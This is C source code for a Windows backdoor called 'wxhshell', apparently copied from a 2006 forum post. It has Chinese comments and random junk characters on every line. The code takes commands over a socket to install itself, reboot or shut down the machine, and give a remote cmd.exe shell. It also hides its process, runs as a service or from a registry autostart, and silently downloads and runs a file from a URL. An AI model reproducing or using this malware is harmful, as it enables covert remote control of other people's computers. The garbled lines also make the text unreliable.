  zM9#1^X  
  // 帮助 H U|.5tP  
  case '?': { v= 55{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HN5m%R&`  
    break; I"07x'Ahq3  
  } 8\n3 i"  
  // 安装 nw+~:c  
  case 'i': { Xn6#q3;^|  
    if(Install()) A6N6e\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xY^sC56Z  
    else 25Dl4<-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~M C|  
    break; m&.LJ*uM\K  
    } CRb8WD6.  
  // 卸载 :xh{SsW@  
  case 'r': { {Su?*M2y  
    if(Uninstall()) N9e'jM>Oos  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "TV'}HH  
    else 4CNrIF@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D*XrK0#Z`  
    break; *]6g-E?:@  
    } o.+;]i}D  
  // 显示 wxhshell 所在路径 Dp@XAyiA[  
  case 'p': { NB-dlv1  
    char svExeFile[MAX_PATH]; oxwbq=a6yV  
    strcpy(svExeFile,"\n\r"); [2%[~&4  
      strcat(svExeFile,ExeFile); bz4Gzp'6k  
        send(wsh,svExeFile,strlen(svExeFile),0); Hq3|>OqC2Q  
    break; j]Auun  
    } o>el"0rn.h  
  // 重启 z5+Pi:1w  
  case 'b': { +HK4sA2;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'solCAy  
    if(Boot(REBOOT)) Q#bW"},^k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9mF '   
    else { K`4rUEf}V"  
    closesocket(wsh); /F*Y~>*% 1  
    ExitThread(0); h [TwaR  
    } h3ygL"k  
    break; jh5QIZf=  
    } NVyBEAoh  
  // 关机 o<`vh*U@,4  
  case 'd': { C"hN2Z!CD|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @KN+)qP  
    if(Boot(SHUTDOWN)) #lYyL`B+~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P*|N)S)X%  
    else { q!Du J  
    closesocket(wsh); &qv~)ZM$  
    ExitThread(0); Y0LZbT3  
    } IkrB}  
    break; Y-VDi.]W  
    } ]z'&oz  
  // 获取shell b IDUa  
  case 's': { q t"D!S_  
    CmdShell(wsh); A2_ut6&eb  
    closesocket(wsh); om3 %\  
    ExitThread(0); <_EKCk  
    break; peQwH  
  } B}e/MlX3M  
  // 退出 nzq   
  case 'x': { rTPgHK]?l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  ~?ab_CY  
    CloseIt(wsh); ^7gGtz2  
    break; zj 6I:Q r  
    } &i#$ia r  
  // 离开 _y@ 28t  
  case 'q': { Y]z :^D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <r%K i`u(p  
    closesocket(wsh); +;N]34>S7  
    WSACleanup(); Q@D7 \<t  
    exit(1); VtBC~?2U)B  
    break; &D, Iwq  
        } d?,'$$aB  
  } xc^@"  
  } asWk]jjMG  
q+g,?;Yx  
  // 提示信息 b--=GY))F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Y 6'sM|  
} Y(Q 0m|3P  
  } >O'\ jp}$l  
_~kw^!p>Kr  
  return; d&AG~,&d|  
}  Nx}nOm  
*PJH&g#Ge  
// shell模块句柄 ZU4=&K  
int CmdShell(SOCKET sock) bA;OphO(  
{ a:FU- ^B4~  
STARTUPINFO si; O-?rFNavxp  
ZeroMemory(&si,sizeof(si)); bI):-2&s}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qmS9*me {  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mF4W4~"  
PROCESS_INFORMATION ProcessInfo; 5ggyk0  
char cmdline[]="cmd"; qu=~\t1[6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jo?LPR \6  
  return 0; VB |?S|<  
} %hB-$nE  
%~rEJB@{  
// 自身启动模式 3CCs_AO  
int StartFromService(void) ah>c)1DA*H  
{ B#K gU&Loo  
typedef struct v{u3[c   
{ Z8v\>@?5R  
  DWORD ExitStatus; c&['T+X  
  DWORD PebBaseAddress; ]'.qRTz'\t  
  DWORD AffinityMask; }:m#}s  
  DWORD BasePriority; l6M?[  
  ULONG UniqueProcessId; !:{Qbv&T  
  ULONG InheritedFromUniqueProcessId; wNB?3v{n  
}   PROCESS_BASIC_INFORMATION; ^<;W+dWdU  
AHf 9H?  
PROCNTQSIP NtQueryInformationProcess; .N(R~_  
7e_4sxg'(3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ua(Qm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xIdb9hm<  
JrP`u4f_  
  HANDLE             hProcess; )g pN 5TDd  
  PROCESS_BASIC_INFORMATION pbi; b 74 !Zw  
;-db/$O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d$ouH%^cGu  
  if(NULL == hInst ) return 0; &RR;'wLoQT  
WQ|Ufl;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $^x=i;>aK.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fh~9(Y#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p=+Y7NE)  
[(X~C*VdxM  
  if (!NtQueryInformationProcess) return 0; 5'!fi]Z  
1+%UZK= K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hY)zKX_r  
  if(!hProcess) return 0; O4rjGTRF  
&4Z8df!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >d 5-if  
{`HbpM<=m]  
  CloseHandle(hProcess); -rDfDdT  
g=:o'W$@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #2=l\y-#  
if(hProcess==NULL) return 0; ~WrpJjI[  
pte\1q[N  
HMODULE hMod; q <}IO  
char procName[255]; yg\QtWW M  
unsigned long cbNeeded; 7%h;To-<6  
<bcf"0A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Sjj|j  
"8QRYV~Z  
  CloseHandle(hProcess); =!Ik5LiD  
z~{08M7  
if(strstr(procName,"services")) return 1; // 以服务启动 _L,~WYRo  
MN: {,#d0  
  return 0; // 注册表启动 #}Qe{4L  
} Dj/Hz\  
Df"PNUwA"  
// 主模块  ?K-4T  
int StartWxhshell(LPSTR lpCmdLine) PKlR_#EB?  
{ Zma;An6  
  SOCKET wsl; C(>!?-.  
BOOL val=TRUE; [8u9q.IZ  
  int port=0; y&\4Wr9m  
  struct sockaddr_in door; 0f4 y"9m  
XX=OyDLqP  
  if(wscfg.ws_autoins) Install(); 2)EqqX[D  
73qE!(  
port=atoi(lpCmdLine); |5>Tf6 $(  
g? vz\_  
if(port<=0) port=wscfg.ws_port; jV% VN  
;CO qu#(  
  WSADATA data; F=\ REq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r1~W(r.x  
`.@udfog^0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '`8 ^P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rB J`=oz  
  door.sin_family = AF_INET; 65Z}Hf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gX"  
  door.sin_port = htons(port); 5Q"yn2b4  
bI.hG32  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (-ELxshd  
closesocket(wsl); RIkIE=+6  
return 1; 'c~SE>  
} vhMoCLb  
taDe^Ist j  
  if(listen(wsl,2) == INVALID_SOCKET) { 8{Wl   
closesocket(wsl); +B{u,xgg  
return 1; ybpOk  
} ) [eTZg  
  Wxhshell(wsl); _J*l,]}S  
  WSACleanup(); Zx8$M5  
OX,em Ti  
return 0; %C%3c4+Oh  
"%K'~"S#Q,  
} H~*N:$C  
F=5+JjrX  
// 以NT服务方式启动 K0>;4E>B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gpq ,rOIK  
{ o^@#pU <  
DWORD   status = 0; KXZ G42w  
  DWORD   specificError = 0xfffffff; [__P-h{J  
Fs >MFj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [XPAI["  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r'ilJ("  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "d}']M?-h  
  serviceStatus.dwWin32ExitCode     = 0; =lv(  
  serviceStatus.dwServiceSpecificExitCode = 0; *BxU5)O  
  serviceStatus.dwCheckPoint       = 0; ; &rxwL  
  serviceStatus.dwWaitHint       = 0; <\nM5-wR  
Tkr~)2,(I!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'oz$uvX  
  if (hServiceStatusHandle==0) return; !bzWgD7j  
;nlJ D#  
status = GetLastError(); ZXLAX9|  
  if (status!=NO_ERROR) 6Takx%U  
{ -8)C6"V{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _)@G,E33f@  
    serviceStatus.dwCheckPoint       = 0; pZ $>Hh#  
    serviceStatus.dwWaitHint       = 0; N?3p,2  
    serviceStatus.dwWin32ExitCode     = status; i`YZ;L L  
    serviceStatus.dwServiceSpecificExitCode = specificError; 46M=R-7=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); em7L `,  
    return; pPxgjX  
  } M19O^P>[  
0aq{Y7sYU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J+CGhk  
  serviceStatus.dwCheckPoint       = 0; N9ipwr'P  
  serviceStatus.dwWaitHint       = 0; u/k' ry=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lB2 F09`  
} I3Co   
iTevl>p!  
// 处理NT服务事件,比如:启动、停止 FoE}j   
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qraq{'3  
{ %#fjtbeB  
switch(fdwControl) zM8 jjB  
{ k %{q q v  
case SERVICE_CONTROL_STOP: 37n2#E  
  serviceStatus.dwWin32ExitCode = 0; AW;xlY= g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q@p' nE,  
  serviceStatus.dwCheckPoint   = 0; pv4#`.m  
  serviceStatus.dwWaitHint     = 0; 7E* 0;sA#  
  { dJzaP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E*R-Dno_F  
  } /0`Eux\  
  return; nYC.zc*ox  
case SERVICE_CONTROL_PAUSE: Z$i?p;HnW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n=f?Q=h\3  
  break; "4KyJ;RA*  
case SERVICE_CONTROL_CONTINUE: |0^IX   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V6>{k_0{V  
  break; `?^<r%*F.  
case SERVICE_CONTROL_INTERROGATE: zgS)j9q}  
  break; T&1-gswr:  
}; 8/B8yY-O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qi^kf  
} 5T"h7^}e  
-5os0G80  
// 标准应用程序主函数 Ur[ai6LNG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c.Izm+9k  
{ ZCK#=:ln  
^-Ks_4  
// 获取操作系统版本 AN,3[Sh  
OsIsNt=GetOsVer(); \k$cg~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eVj 8u  
o7gZc/?n  
  // 从命令行安装 F:Vl\YZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); )#Ecm<.^  
!#1UTa  
  // 下载执行文件 =C#z Px,  
if(wscfg.ws_downexe) { (w_b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ! qtj1.w  
  WinExec(wscfg.ws_filenam,SW_HIDE); /2r&ga&  
} )MV `'i  
79Aa~+i'_  
if(!OsIsNt) { Oo!]{[}7  
// 如果时win9x,隐藏进程并且设置为注册表启动 7lOAu]Zx  
HideProc(); Q=<&ew  
StartWxhshell(lpCmdLine); u3cg&lEgT  
} V1i^#;  
else #cikpHLXG  
  if(StartFromService()) "<L9-vb  
  // 以服务方式启动 5s0`T]X-  
  StartServiceCtrlDispatcher(DispatchTable); +pv..\  
else i'ZnU55=  
  // 普通方式启动 ?r$& O*;  
  StartWxhshell(lpCmdLine); T_\hhP~  
=%77~q-HL  
return 0; t|&hXh{  
}
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只看该作者 1 发表于: 2006-10-10
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